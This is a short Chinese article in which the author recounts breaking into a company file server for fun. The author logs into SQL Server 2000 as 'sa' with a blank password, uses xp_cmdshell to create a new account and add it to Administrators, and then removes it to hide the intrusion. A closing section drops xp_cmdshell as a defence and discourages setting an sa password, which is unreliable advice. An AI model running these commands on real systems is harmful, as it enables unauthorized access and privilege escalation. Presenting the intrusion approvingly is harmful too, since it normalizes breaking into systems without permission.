SQL,让我过了一回黑客瘾
网络通信
周末在家闲着没事,想登录公司服务器上看看电影,没料到开机后发现存放电影的网络映射盘竟要密码。打电话问公司其他同事,都说不知道密码,怎么办呢?
网络映射盘的操作系统是Windows 2000,并打了SP4补丁,想利用输入法漏洞进入怕是没戏。突然笔者想到公司的电脑里都安装了SQL Server 2000数据库,在正常安装完毕后,sa用户密码一般为空。能不能通过这个漏洞进入电脑呢?然后增加系统管理员账户,再开后门……
攻击步骤
行动前,笔者先在电脑上点击“开始→程序→Microsoft SQL Server→查询分析器”,从弹出的窗口中输入存放电影的那台机子的地址(如图),然后选择“SQL Server身份验证”,输入登录名sa,密码为空,再点“确定”。哈!连接成功了,此时选择“master”数据库,在查询窗口中输入:
xp_cmdshell “net user computer 12345678 /add” (增加一个新账户computer,密码为12345678)
xp_cmdshell “net localgroup Administrators computer /add”(把computer的等级提升到高级用户组里)
再点击“执行查询”或按F5键,笔者就可用computer这个账户看电影了!看完电影后,如果不想让人知道机器上有了computer这个账户,还可以通过下面的语句来删除computer账户:
xp_cmdshell “net localgroup Users computer /del”
防范方法
安装了SQL Server 2000的用户看完上面的文章后是不是感觉太不安全,也许有人会说给sa用户加个密码不就行了,可惜这并不是一个明智的选择,因为修改了sa密码有可能会导致数据库连接出错。那么怎样才能在不修改密码的情况下,又不让别人通过这个漏洞入侵呢?
其实我们可以通过去除sa的cmdshell来达到这个目的。还是先登录查询分析器,在查询的窗口中输入:
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
GO
然后按F5键执行命令,系统会提示“命令已成功完成”。这样,sa的cmdshell权限就被去除了,别人也不可能再使用sa账户来入侵。这时如果你再次用cmdshell来创建新用户的话,则会显示“未能找到存储过程 'xp_cmdshell'”提示。
